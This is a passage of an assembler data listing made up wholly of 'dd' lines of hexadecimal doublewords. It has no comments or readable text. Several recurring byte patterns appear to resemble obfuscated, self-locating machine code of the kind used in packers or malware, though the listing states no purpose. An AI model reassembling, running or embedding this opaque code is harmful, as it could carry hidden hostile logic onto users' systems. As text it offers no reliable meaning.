785FFD55h, 8935930Eh, 0E3B22DE3h, 0F60C68E0h, 10965EBCh dd 7D570D5Dh, 0A98BE12Dh, 0A7000000h, 79F4744Ah, 13883AAAh dd 0B83383FCh, 47CF6E3Dh, 4090F00Bh, 0E15CD78Ah, 0B472312h dd 36EC3CF0h, 3B8715D8h, 0DB8E1ADDh, 8D560260h, 0B477FBEh dd 4090E0F0h, 4877BB8Ah, 5ED9F00Bh, 9A9968E3h, 0C3F00B47h dd 4791A473h, 7ECEF00Bh, 0C00D25C8h, 34236FFDh, 9463DE8Ah dd 0FA1F93D2h, 0C624D727h, 7FFA7503h, 70C8DB0h, 2482D2F6h dd 691CD25Ch, 8BB490Bh, 0A75AE8AAh, 0CDE5D2Ch, 2F7FF607h dd 0B93610B3h, 8CA88225h, 5DBB3632h, 0A5A0D9Bh, 580AD954h dd 0A1FC13D8h, 0A8F87C43h, 9766E15Ch, 0F00B47A4h, 0CFB369B9h dd 79F4744Ah, 18B3F8AAh, 1BE341FCh, 0E131BB83h, 0CC9B1691h dd 0F0002C69h, 4A24AA72h, 169144FAh, 0B066F0B8h, 0B5018F52h dd 8D089457h, 0D23881CAh, 50DE03ADh, 1C48A325h, 1B46ABAh dd 0F78DF332h, 330BAE6Fh, 955E3A6h, 0E15CE8ABh, 87BEBB83h dd 0A56AD018h, 0BD0DC010h, 16D95407h, 295D193Ah, 9BF9AFC1h dd 69A4DEFh, 3BFECB63h, 0FD4DD79Fh, 11D836B1h, 0FA390883h dd 6383EE98h, 3CFF5D13h, 0D954DAA2h, 0EE982B0Ah, 94E43483h dd 88BE1h, 4DA70000h, 24B274D2h, 2EDB8A6Eh, 0BA7DDB8Eh dd 571D7B2Eh, 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h dd 69329043h, 10D230E3h, 687ECF82h, 5511h, 50243C89h, 405E089h dd 83000000h, 48704E8h, 2C895C24h, 70146824h, 0C890000h dd 7CBB5324h, 0BD788864h, 8D83E720h, 7228ED81h, 0DD0105F3h dd 7228C581h, 545B05F3h, 81240C8Bh, 4C4h, 0EA895200h, 8418F52h dd 2434FF5Ah, 4C48159h, 8B000000h, 8951242Ch, 4C181E1h dd 83000000h, 0C8704C1h, 0EEE95C24h, 10FFFB2Bh, 26B8C08Ch dd 3060C50h, 0BDE0FFC5h, 0DB306854h, 1509588Bh, 635E3CFFh dd 0D3268D3Bh, 0CC024851h, 5C47181Eh, 0EB757E41h, 60h dd 17h dup(0) dd 0B11E900h, 5E90000h, 6800000Bh, 60C5912h, 0FB2B50E9h dd 5A5468FFh, 46E9060Ch, 68FFFB2Bh, 60C5ABFh, 0FB2B3CE9h dd 0D67623FFh, 0DC6A2C8Ah, 0E3693290h, 0EF8D3997h, 0F27E45A3h dd 629BBCA6h, 6BC9159Bh, 6FCD19A3h, 71CF1BA9h, 63D622AEh dd 361A19E8h, 6443F000h, 9C9F6EE9h, 0C1F00036h, 6215B763h dd 9E64C212h, 5F156518h, 5E13DB7Bh, 0C67AC8Fh, 0F24110F6h dd 6BF60C67h, 93F1411Bh, 429245E7h, 217F3FF2h, 7319C559h dd 0B679D723h, 138B84B7h, 0A5A0EA8h, 0E66A318Fh, 591F7D30h dd 0F2BA18CBh, 7B3EB96Ch, 0CAB94DCh, 0DA38EE1Bh, 29D37F13h dd 7408B376h, 0E8142287h, 1A954898h, 256DD09Fh, 94F2F60Ch dd 3DF343D1h, 926118DFh, 0F60C25A3h, 691C6CBCh, 3EC890EEh dd 0E07E2A88h, 0B3410765h, 47FAB000h, 0E99C20E9h, 0B210C98Bh dd 5FAF62F0h, 0C25AD90h, 1262B2F6h, 1A4E705Fh, 0FA2DD09Fh dd 62B2FC18h, 39C789E7h, 99F772EDh, 0BF7E4DD3h, 1CF00075h dd 0A6F6D056h, 0AFB901F0h, 75D26534h, 0C083F000h, 5BC07B77h dd 1CCF1F53h, 216DFBBEh, 8C18DB3Dh, 74C79611h, 0E9F60C67h dd 8639C38Bh, 4C30E636h, 0B9960BEh, 9F520858h, 0FA8E4ABBh dd 9909ED16h, 96C322E7h, 92B6C2Fh, 0F0056A5Ch, 2DB73Ah dd 4AD30000h, 0BE16FA8Eh, 0C674CEFh, 0DDC111F6h, 0F9C843BEh dd 0F60C673Ah, 391DD323h, 0B21819DBh, 8EEBE568h, 90654999h dd 2DE3ACh, 4AFF0000h, 0BC7FFA8Eh, 60F2BFA5h, 8C70264Dh dd 48043BEh, 3F1A533Ah, 82BFAB0h, 0C5F60C1Ah, 63169E67h dd 0BEDFC313h, 8B19DBDAh, 4AAC90A7h, 971DE674h, 38BE86E4h dd 0A21D98E8h, 41F48244h, 0CC6C3BF1h, 99FC1371h, 78C79649h dd 7EF00B6Dh, 0DE5943DBh, 0B6D2C0Fh, 2BE131F0h, 0CA38C98Bh dd 1A30999h, 4A250000h, 0AE7DF870h, 0F60C6877h, 5AD588D8h dd 603D36FCh, 25D7B318h, 0D626D929h, 7026B078h, 75C14F12h dd 1918DB91h, 0D1FBD168h, 4E76A402h, 64339EF9h, 77095114h dd 6F9FCB4Ch, 0A2863B1Fh, 16FA8E4Ah, 0E79909EDh, 2796C322h dd 42h, 0FD8B4EACh, 86D4353Ah, 0D187FB43h, 0FA8E4AEDh dd 4CEFBE16h, 11F60C67h, 3FFD04Eh, 0ABFBEFC5h, 30FBBEC7h dd 0D2BDFFD7h, 0E6CA45FBh, 0A78B19DBh, 2DE3AC90h, 68000000h dd 0E9AB470Ah, 8580B5Bh, 8E4A6E52h, 0EFBE16FAh, 0F60C674Ch dd 0BE4D3181h, 8B19DBDAh, 0B460BEA7h, 672D10DFh, 0E232F60Ch dd 4F33DC92h, 0A585704Ah, 856DF039h, 542013E2h, 0ED3DF60Ch dd 3D24D9Dh, 0F60C5BCCh, 8F15DB39h, 893C8CDCh, 6D35930Eh dd 542518E7h, 0EA3AF60Ch, 8513D634h, 18DB5539h, 0A286A88Ch dd 16FA8E4Ah, 0B9960BEh, 6520858h, 0C695108Bh, 0F60C6777h dd 6AC998E8h, 0F3F60C67h, 9909EDA3h, 96C322E7h, 4127h dd 8E4A4300h, 43BE16FAh, 0E2981CE5h, 0C672013h, 9ED3DF6h dd 1CE543BEh, 0BF87E598h, 0E2328235h, 7B31BB84h, 8043BE97h dd 0EA9CA8CBh, 1221F0B2h, 4BF60C8Ah, 25E745FBh, 0AC90B397h dd 4AE3h, 8E4AFF00h, 0EFBE16FAh, 0F60C674Ch, 0BE4D3181h dd 67C17443h, 7CB5F60Ch, 2D8717C5h, 43096741h, 3CB76DBDh dd 9F9A63C1h, 0CF0DDC7Ah, 0F2A5F5A6h, 0F48244A2h, 0FBBE5A3Eh dd 111C0849h, 0B073D1FDh, 4E106E24h, 1262F0B2h, 0E3AC902Eh dd 0C4h, 0F8704AFFh, 6877AE7Dh, 15D8F60Ch, 41D58782h, 4B70750h dd 7E47E3A6h, 765AA6F6h, 926118DBh, 0F60C67A3h, 0CB25EBCh dd 3EB90959h, 0C67CC6Fh, 0F14191F6h, 0BEA2860Dh, 67C17443h dd 4E9EF60Ch, 592FA998h, 9909ED75h, 96C322E7h, 4127h, 8E4A4300h dd 75217FFAh, 1ED424D7h, 9860BE3Ah, 672114E3h, 0EE3EF60Ch dd 0E59BEB9Eh, 67989B6Ah, 75C5F60Ch, 0DBDABE91h, 90A78B19h dd 64F0B715h, 2B54306h, 0E318FCB2h, 38h, 0BD430A68h, 8E4A2307h dd 0C38B23ECh, 1D26E939h, 0C92A5655h, 0BEAC90E0h, 6D1CE543h dd 0C679F9Eh, 2070C0F6h, 67989B6Ah, 0E535F60Ch, 0DBDABE01h dd 29B77D19h, 0AC90F5D9h, 0D98C18DBh, 0B42FB57Bh, 67CB6A39h dd 0D194F60Ch, 0CFFA53D7h, 0DC3138Fh, 14A063C1h, 36C6D699h dd 5D1FA711h, 0F9AF3DFFh, 0FAC67746h, 3EE1F60Ch, 25F9BCE4h dd 0F955DC7h, 32490C5Ch, 0B77AD863h, 70267629h, 75C14F12h dd 8DB07FFAh, 4EF60C3Eh, 0F646F987h, 8251CC1Ch, 0F60C3EB3h dd 48A65CACh, 8B44F785h, 0FD55F8B6h, 0A5742DF0h, 0F60C3E96h dd 0BE7D4CC7h, 9FF60C3Eh, 34AFFF4Fh, 0CE810FD6h, 0EB149C0Bh dd 3E8EFCECh, 714D3C88h, 8BAD7CF7h, 3BFC134Ah, 0D98F15DDh dd 54D8A1FFh, 4E0151A1h, 0B56B07Fh, 0BB9336F0h, 0CA602AECh dd 1C6A99h, 0DB860000h, 5ED98C18h, 0F7AA5400h, 1322F1A7h dd 92F60C67h, 0C78A57EFh, 8BDB692Bh, 18DB5B3Fh, 0D4EAD98Ch dd 1F4A1994h, 68FC18B9h, 0E1DDCC18h, 0FB3D0C87h, 0CBFA1F20h dd 97026508h, 0B97E41EBh, 808F8AD3h, 741CB6C0h, 89016124h dd 465A8414h, 9058B690h, 9D85306h, 0F607F12Ah, 4393E333h dd 0F0B71590h, 0B8088E56h, 0BDAC4205h, 1563D3FFh, 0F1400FC5h dd 0F7F60726h, 0EBADFA54h, 3393CE6Fh, 0EBBB8170h, 97E79A22h dd 0FE4C4CD4h, 9A4DD7A0h, 3511944Ah, 2D000000h, 109E60BEh dd 68570D5Dh, 0CC9B1652h, 0F60C6899h, 0BD1B96E6h, 2661FDF4h dd 51AC8634h, 0C85B382h, 0C5CACF6h, 1AE341BCh, 0E3713492h dd 218BE12Dh, 0A7000000h, 0B9960BEh, 2F0EDD58h, 30F60C67h dd 0EBDA90E0h, 4F1E99CFh, 0F60C6810h, 3C9A1565h, 0B99DE973h dd 14BE3h, 6F4AFF00h, 0A28613F7h, 0A88C18DBh, 0F9D60BEh dd 0A560C5Ch, 22E79926h, 332796C3h, 43000000h, 0C9A60BEh dd 0A933FB59h, 5B4A359h, 43BE7D61h, 9B6A23E5h, 0F60C6798h dd 6F2575C5h, 0C679DA0h, 8E72C2F6h, 12DBDABEh, 0AC90A68Ah dd 2DE3h, 60BEFF00h, 6B5A109Eh, 0BE34184Eh, 0C674CEFh dd 4D3181F6h, 12DBDABEh, 0D929B37Ch, 7443BEF5h, 0F60C67C1h dd 0EF984E9Eh, 0C14F1674h, 18DB270Bh, 0A286A88Ch, 16FA8E4Ah dd 0E79909EDh, 2F96C322h, 8E6FD66Ch, 39893CE2h, 4B3B4876h dd 0A5C27E93h, 53095926h, 3BD0h, 8E4AEC00h, 2C586987h dd 76542A5h, 0B505B844h, 0EFBE8165h, 0F60C674Ch, 8346C111h dd 0CA6A5E2Bh, 967A3021h, 60BEDABEh, 0A933FCB4h, 0A056A6F6h dd 0EF28042h, 16E3AC90h, 0FF000000h, 16FA8E4Ah, 674CEFBEh dd 3181F60Ch, 0DBDABE4Dh, 90A78B19h, 8115DBACh, 0FB3A09B8h dd 64F60C67h, 7A49C414h, 0F60C67BBh, 890454A4h, 2ADD7F2Bh dd 0F67124DAh, 1D757A33h, 0B3790AEEh, 6736F988h, 8245A3F9h dd 3DF343F6h, 0C50C26Eh, 0BE460FF6h, 60E4AD0Bh, 0DC7619ADh dd 73E524ACh, 4191F6EFh, 0D6E33BDEh, 52368210h, 0DC8F15DBh dd 772AB87Eh, 903812B5h, 86803BCDh, 3EF4CFB6h, 408C1AE0h dd 0C9FB071h, 32F393F6h, 7293C412h, 0FFFFFE8Eh, 67C76A8Eh dd 149BF60Ch, 4CF60C68h, 0F60C67EAh, 0A8A970CEh, 0E5A212D5h dd 16C919DFh, 0FE4110C6h, 0C6F60CFBh, 6218A668h, 0CFBAC93h dd 0FB7DC4F6h, 0CE49B60Ch, 0CFB3CFFh, 1BD12136h, 5BD6922Ch dd 16C0F48Ch, 5625A03Ch, 30050FE7h, 13652878h, 532F5E28h dd 0CB1BF5ABh, 94E78D50h, 0EAAD37FFh, 23D9B815h, 1D3D8170h dd 27DCD5Bh, 1A6E1D33h, 0BB1A6A3Ah, 0F4CB2F61h, 81EC42F5h dd 0ED000002h, 0F2509C40h, 0F856A230h, 0FB59A52Fh dd 361AD4Fh, 826CB83Ch, 0D3612861h, 0DB612987h, 0E56B318Fh dd 0EC783B99h, 0E3B22DA0h, 0F0003E50h, 0DB4A2E0Dh, 5ED98C18h dd 0FBAE3800h, 0FA4AD69Dh, 0D4695544h, 0C673605h, 0DDAC27F6h dd 0F60C675Eh, 0F5FAFFFh, 3B5AD194h, 0DE911FE2h, 4999CB8Eh dd 5F2EA95Fh, 0FC18CE2Ch, 0F4471691h, 69F00041h, 0AE7DC919h dd 0F0004183h, 0EE69FFBFh, 149E501Fh, 0E1C285FAh, 58C03236h dd 1D7BF646h, 0C717CA56h, 75389611h, 7A3D9BE7h, 0CD6C3BEEh dd 85F60CE3h, 0E5B42F39h, 0FC183DBEh, 0E644BF0Fh, 34C08723h dd 0D85C2381h, 3585D525h, 3CC88BE9h, 44249A89h, 6CCFFAC9h dd 0E838FA14h, 0F0784635h, 3CD7A675h, 0B808FC18h, 901CDF3Dh dd 7F4EC944h, 0F000B3BCh, 0F59743A1h, 0ECA2F242h, 4312CB8Eh dd 0F000B3F0h, 1023F26Dh, 4DF000B3h, 874FADFDh, 0B732ADFDh dd 0B355E8h, 0C08F0AF0h, 0F000B37Dh, 8C4292E2h, 55270AD9h dd 0A31BF000h, 0E197AE52h, 0A66CE704h, 0CD1D6D20h, 0F033027Dh dd 4DFA1420h, 635B4AFDh, 3DBB8A05h, 0AAFC135Fh, 0E2BFB5Ah dd 9043AED2h, 13F3Ah, 0DA822F00h, 0E06E308Eh, 0E76D3694h dd 0EB913D9Bh, 0F67A419Fh, 5E9FC0AAh, 5FBD0997h, 63C10D97h dd 6DCB179Dh, 5FD21EAAh, 3D2615E4h, 5837F000h, 0F4744A74h dd 923BFE79h, 5C55E518h, 5F8E5D13h, 0FFFC18ADh, 9F52DEA1h dd 44BF994Fh, 22C675h, 0F74797F0h, 0FF695544h, 0C797B584h dd 98E8FA1Fh, 0CE96F739h, 82D88BB4h, 0D4h, 34FED9Ah, 955E3A5h dd 0E5AE2ABh, 0E5A04B0h, 0F5BE9B0h, 0FCC30425h, 6CE2C78h dd 10D63480h, 15D83682h, 4DC83B87h, 3DBF7Eh, 0DDC1A0F0h dd 1EE6744Ah, 4595E598h, 0B9D0FBCAh, 0ED3DFC18h, 20FCBF3Ah dd 75696FEBh, 38FB590Fh, 0FE4EDC9Eh, 39154B2h, 0B5D6150h dd 0BB71590h, 0C5D46736h, 3989F000h, 30E636E9h, 141A9E61h dd 0ABF747FAh, 0B1FD8B4Dh, 0B6028A53h, 0B602AC58h, 88039158h dd 28DE642Ah, 29B77EDCh, 2DB77FDDh, 37BD83E1h, 3ECA8DEBh dd 0BA7948C3h, 1FF60C95h, 0A1F1CB59h, 0C6249FEBh, 75C578FEh dd 139961BFh, 82E6D8C7h, 4A493807h, 409EFC18h, 0EC3CEF7Dh dd 0C88BE99Ch, 7746C13Ch, 0F000C5C4h, 47934999h, 3F1h dd 694D0D00h, 0DB8E2EDBh, 7B2EBA7Dh, 16C9571Dh, 0B366F0B8h dd 4F028E55h, 0F3A62AF1h, 9043E995h, 30E36932h, 0CF8210D2h dd 452687Eh, 1C890000h, 0E2895224h, 4C281h, 0EA810000h dd 4, 5C241487h, 53240489h, 0C381E389h, 4, 4EB81h, 1C870000h dd 14895C24h, 51486824h, 48B060Ch, 4C48124h, 54000000h dd 8324148Bh, 3C6804C4h, 89000027h, 428F2404h, 24148B08h dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0FF5C2434h, 83582434h dd 56E904C4h, 0FFFFFB20h, 0C5BB8B8h, 8BC50306h, 149E9C3h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0F66527C3h, 5CE5B58Dh, 13E9060Ch, 1D000000h dd 0F80B2A8Bh, 77D4F147h, 53D2BA18h, 0A089139Ch, 858DD673h dd 60A4A8Ah, 5DB8060h, 959FCB81h, 0FF613ED3h, 52006AD0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0CB896C4Ch, 6660D94Fh, 616845B8h, 10E9C3h, 0C6A30000h dd 0EF065117h, 9CC805ACh, 327FB976h, 8C0FADA4h, 16h, 3FEE8160h dd 0E94A1DA9h, 9, 257EB556h, 0E952B6CEh, 8C66618Eh, 53006AD9h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0F3B9B204h, 0F6F873EFh, 840F04C1h, 39h, 8BFB8BFCh, 0AEC032CBh dd 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h dd 74C00B00h, 0C708D18h, 0CB8BFA8Bh, 490A75A6h, 1B8FA75h dd 0EB000000h, 0EB008B09h, 0B8E4h, 6ACF0000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 4C6AC350h, 580AD29Bh, 387EFEEEh, 860F60FCh, 6, 820Fh dd 0C7610000h, 0C5D2C85h, 1013F06h, 7F8D8D00h, 6A060C5Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 954EC357h, 1949E529h, 0ED0F271Ah, 0AE51B866h dd 0A018D89h, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 22AB32C3h, 0E40FC85Eh, 17D5B533h dd 858B0607h, 60706E5h, 14A585C7h, 65800607h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 11E93AC3h, 23000000h, 269493h, 99B7B328h, 15F8D9BAh dd 7D75CEE2h, 9D59D01h, 85C70607h, 6072FD5h, 0 dd 271B58Bh, 0B5FF0607h, 6070CDDh, 0B3BDBB66h, 1C1995FFh dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 8B4D4EC3h, 70B9185h, 0FF006A06h, 71B6995h dd 0EBC08B06h, 30B83F48h, 6BF375FCh, 0A7538BC4h, 0A8277DDFh dd 0BB1C7CA2h, 8A18675Eh, 1224D225h, 79D4B3D7h, 692AF1A5h dd 5CFB2324h, 7E2E410h, 30DBD2F2h, 26A27AF9h, 353FE1F6h dd 205C6BCBh, 3CA15C3Ah, 88EB7922h, 92E96E9Bh, 4311CCD9h dd 2F480DE9h, 0DAAC63A5h, 0CE7321F1h, 0B2374205h, 6372F879h dd 2087D7FFh, 5E877082h, 15261F30h, 617A7747h, 0D28A4A23h dd 6231E302h, 630EF73Fh, 635D3930h, 63347466h, 3D174E30h dd 17BE79F3h, 27B69714h, 6322CD14h, 3571E430h, 0D157A1F3h dd 607DD0ECh, 73DE9C30h, 58374E30h, 0D6AF813Eh, 2C967230h dd 31EF9CEFh, 0E0061AFBh, 6420C38Dh, 0E7383936h, 63379C6Bh dd 8B644E5Ah, 63372733h, 38F4C810h, 671395B9h, 6713A0B1h dd 6337722Bh, 88F46A73h, 97252C2h, 34846DECh, 94C1E78Ah dd 9ADECA5Bh, 937C932h, 60DFB430h, 43377230h, 0EA6FFA68h dd 0E233B874h, 79336A74h, 23372730h, 0DD645060h, 28D71022h dd 67BDEB97h, 5377230h, 0EEB5078Fh, 6F6970B5h, 0B4B62836h dd 0E8517AF9h, 0E851C3C8h, 473340E0h, 0EEC65B3Fh, 6F69BCB5h dd 48F1B836h, 33402ACAh, 0EAC6C556h, 0E7380334h, 6337932Bh dd 6337CCD8h, 34584A30h, 68DEC768h, 5B373930h, 52D5AA6Fh dd 9CC0F467h, 9C69BC81h, 6418F2A5h, 0A9B6AF36h, 0A3BCAEFDh dd 633A9A60h, 3313930h, 988FCC1Fh, 8D4A6AE3h, 0E26952B9h dd 4B3172FFh, 0E06E962Ah, 6435F58Dh, 6A427236h, 6E5284B3h dd 17379A37h, 0E8641E29h, 674D9FF0h, 0E6BE9330h, 6530F91Dh dd 0C99F79BDh, 0B0C87439h, 0DEB4616Bh, 65309155h, 33203A30h dd 674D9F63h, 0E6BE9330h, 6530F91Dh, 0C4A079BDh, 0B0C87439h dd 0E851616Bh, 0D9F717CBh, 6C892EEEh, 0EEE4903Fh, 6F6945ADh dd 0E6BA3C36h, 653BB86Bh, 8B65725Ah, 63373933h, 39F4C610h dd 67131AB9h, 671363B1h, 63379329h, 39F49B72h, 29286058h dd 0DA51232Bh, 0E869510Fh, 9CC917CAh, 333724E0h, 633724D8h dd 0A06FB330h, 47734068h, 47736534h, 63376634h, 0A0677930h dd 99BCFA47h, 0E7388E3Bh, 633727B4h, 287D0EBDh, 0BCB6CF37h dd 41477DE8h, 632BF13Fh, 0D0573930h, 632475F5h, 0D6F04E30h dd 17603C85h, 487DDC56h, 55CDC524h, 0B8BDEAA7h, 608F1378h dd 9373930h, 60DFC930h, 43374E30h, 0EA6AE46Dh, 0E233B75Ch dd 7433ED74h, 2637E430h, 8A44B165h, 80C895DDh, 631D1D3Fh dd 73DF4E30h, 0AB372730h, 91B81CF2h, 43AB5BDAh, 448CD74Ah dd 8A848E76h, 6337393Fh, 297FB06h, 82BD22C7h, 0F61459BBh dd 39BD989Ch, 3DE954BDh, 0DC51E23Ch, 0E6BADAB6h, 653B656Bh dd 63379AD9h, 0A14BE630h, 9C7FE00Bh, 3437F9E0h, 6337CAD8h dd 0A068C430h, 474BFB6Fh, 4773B834h, 63378034h, 0A0600930h dd 8184C24Bh, 0B057A9BCh, 0AD80C6CBh, 0E738243Bh, 63377200h dd 3DFCB267h, 287D01BDh, 3C664837h, 63372688h, 9D46C30h dd 60DF9830h, 4337E430h, 0EA6EB169h, 0E2331D7Ch, 7633B874h dd 22374E30h, 0E741E461h, 3DD40EBDh, 6DDECF3Ch, 8A37E430h dd 0D011EBABh, 3A6CF945h, 719F6BBDh, 38B2C323h, 9312B6Ch dd 60DFC030h, 4337C930h, 0EA6C276Bh, 0E233566Ch, 7B331D74h dd 20379C30h, 857E8D63h, 6C5B6808h, 0DA515887h, 0B3C8AFB3h dd 0A33C1FBBh, 6379F63Fh, 8EB73930h, 29AA1108h, 0E231497Bh dd 0E36DE2C7h, 63342B15h, 708EC930h, 9C584058h, 333718D3h dd 63373AD8h, 0A06FBC30h, 4773C768h, 4773A634h, 63378434h dd 0A0678930h, 19307E50h, 63377DD9h, 0ADFA6E30h, 0CE6A6DBEh dd 0F975ADF0h, 65AD8E51h, 0AF8A1E73h, 0EE31C56Eh, 6F5568BDh dd 3F4ACA36h, 0E604B37Bh, 65309865h, 8AF6811Bh, 0E954BD32h dd 51E23C3Dh, 0BADAB6DCh, 3B656BE6h, 379AD965h, 4BE63063h dd 5E983A1h, 0C08BA4F3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 7EC35545h, 0FE88BFCh, 3B000000h, 1C0BEE8Fh dd 8FDE3538h, 21BBA5CBh, 850F5397h, 0Bh, 6E9h, 1F90B400h dd 5F3226E6h, 0BF0FC38Bh, 8B6660C9h, 0C08B61C6h, 66D68B66h dd 830A62BFh, 70211BDh, 9750006h, 0D65BD83h, 74000607h dd 8B535019h, 47AB8C0h, 85890000h, 60723A9h, 0AB0F9D8Dh dd 0D3FF0609h, 0BD83585Bh, 6070D65h, 50177400h, 47AB853h dd 85890000h, 60723A9h, 0A7B09D8Dh, 0D3FF0609h, 6A585Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 5F9C5C3h, 0A0B182B3h, 665334CBh, 0E89B58B9h, 0Ah, 0C5C26E12h dd 285CF358h, 810F5C4Fh, 5, 2B38B9h, 0C08B5A7Ah, 0BE8h dd 0FC442000h, 16043B89h, 0CDA3A83Eh, 0BA6658F9h, 0C0814A50h dd 5F3Dh, 5F536060h, 68F0F61h, 81000000h, 165C71D9h, 0BB6106h dd 0F000000h, 0E8Ah, 5E800h, 77610000h, 0F0E471Fh, 8B5AF3B7h dd 5E9180Ch, 79000000h, 9E02A499h, 0FEAEF181h, 0B70F1811h dd 32E981FFh, 0E97322B1h, 7, 0EE434644h, 81D66AB7h, 13F27DC1h dd 10810F57h, 60000000h, 6E9h, 625C600h, 8059637Bh, 8961EFD8h dd 0F956180Ch, 6860F5Eh, 81000000h, 5EBAA1EEh, 3EB8339h dd 10E9h, 0A1D50700h, 25170AFBh, 2A390ADDh, 63E52BE1h dd 81664B23h, 812492F7h, 0FFA1ACFBh, 80850FFFh, 60FFFFFFh dd 9E8DF8Bh, 0D6000000h, 8B855624h, 0EF3886B2h, 13E9h dd 0D2EF4C00h, 16F03F36h, 67A18952h, 0CB58AD25h, 78AEE30Ch dd 8E8615Fh, 0A000000h, 0EF3E478Fh, 0B76005D4h, 5B515FEAh dd 58EBC781h, 0BB660000h, 0F6335EB8h, 3E34FFF9h, 0D98B665Ah dd 0D9D4C281h, 0BF0F4196h, 30F281C0h, 8121AD05h, 0BE98ECC0h dd 18EA815Dh, 0B5709DD1h, 0CFB4524Fh, 8B37048Fh, 1EE83CAh dd 664E4E4Eh, 8143A0B9h, 0FFA770FEh, 0BE850FFFh, 80FFFFFFh dd 8D8DA0EBh, 60C6561h, 1E719529h, 8D890607h, 6070A01h dd 409B589h, 85C70607h, 60714A5h, 5D88h, 31919D31h, 85C70607h dd 6072FD5h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 31C35545h dd 19B5FFA4h, 0FC060703h, 1C1995FFh, 10E90607h, 5D000000h dd 3953C55Fh, 0C4165A41h, 0CC5F8E54h, 6A2B9308h, 6995FF00h dd 8B06071Bh, 0F42CEBC0h, 46B6DA88h, 0A8CA1C5Dh, 7E3FC40Fh dd 87006B8Fh, 0AD9B1D6Eh, 29BBED7Eh, 0CBDC12D3h, 0D44D6C90h dd 1B7DAB23h, 1462E89Fh, 0E9988565h, 266h, 0D98C6660h dd 0F04C1F6h, 3584h, 0FF016A00h, 72939B5h, 0F4858D06h dd 0FF060A70h, 898589D0h, 8B06070Ah, 0CEFC1FEh, 6000068h dd 6A006A20h, 0D685702h, 0FF000100h, 70A8995h, 32E906h dd 85C60000h, 6071525h, 30DF6856h, 0B5FFA9C5h, 6071CBDh dd 70F4858Dh, 0D0FF060Ah, 28318589h, 858D0607h, 60728A9h dd 6A406A50h, 95FF5605h, 6072831h, 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 15858908h, 8B060C66h, 85890C42h dd 60C660Dh, 8910428Bh, 0C661185h, 4BB58D06h, 8D060C66h dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 6615B58Bh, 858B060Ch dd 60C660Dh, 6611BD83h, 0F00060Ch, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 60C6615h, 669CB58Dh dd 858D060Ch, 5B7E35h, 5A61D0FFh, 6615858Bh, 4C2060Ch dd 15858B00h, 8B060C66h, 15858900h, 0CF060C66h, 0 dd 72B58960h, 89060C66h, 0C666E85h, 0AD858D06h, 8B060730h dd 85894440h, 60C66ABh, 66E1B58Dh, 858D060Ch, 5B7E35h dd 8B61D0FFh, 0C667285h, 9D8BC306h, 60C666Eh, 3C43B70Fh dd 5B8BD803h, 6E9D0378h, 8B060C66h, 0B5032473h, 60C666Eh dd 207B8B56h, 31C738Bh, 0C666EBDh, 6EB50306h, 0FC060C66h dd 41FFC983h, 66729D8Bh, 178B060Ch, 666E9503h, 0C783060Ch dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 666E8503h, 8589060Ch, 60C6672h, 0CE8BF08Bh dd 0BD81C18Bh, 60C66ABh, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 0C66ABBDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 60C66ABh, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 0C66ABBDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 60C6619h, 18058589h dd 858D0607h, 60C66AFh, 11B18589h, 858D0607h, 60C6676h dd 1BA58589h, 3CE90607h, 1, 4Eh dup(0) dd 83000000h, 72FA9BDh, 840F0106h, 453h, 0C830Fh, 860F0000h dd 6, 890Fh, 85C60000h, 6071525h, 52006A43h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 68FC0D9Ch dd 0C0382722h, 11860Fh, 0CE90000h, 31000000h, 4A6A4362h dd 0B4F56CF8h, 812FA464h, 0A9D32404h, 6A2C6Dh, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0D19653C3h, 5E91FA1h, 1E000000h, 2C5003F7h, 1CBDB5FFh dd 870F0607h, 1, 0F4858DF8h, 0F9060A70h, 0E960D0FFh, 10h dd 0FCF5373h, 854AC905h, 8A2FFA37h, 0E4C9C722h, 0CD858961h dd 0F8060703h, 152585C6h, 60500607h, 5863B453h, 0CFDCD781h dd 0F6148A3h, 185h, 0CD68F800h, 0FC13E5Ah, 138Ah, 95B06000h dd 9E8h, 0C6D41A00h, 0F8827802h, 615F8174h, 9B243481h dd 606993F7h, 6860Fh, 0C6810000h, 7000848Ah, 8E9h, 0F74F4900h dd 244E307Ah, 0B5FF618Eh, 6071CBDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0A0C35545h, 8D057269h, 0A70F485h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 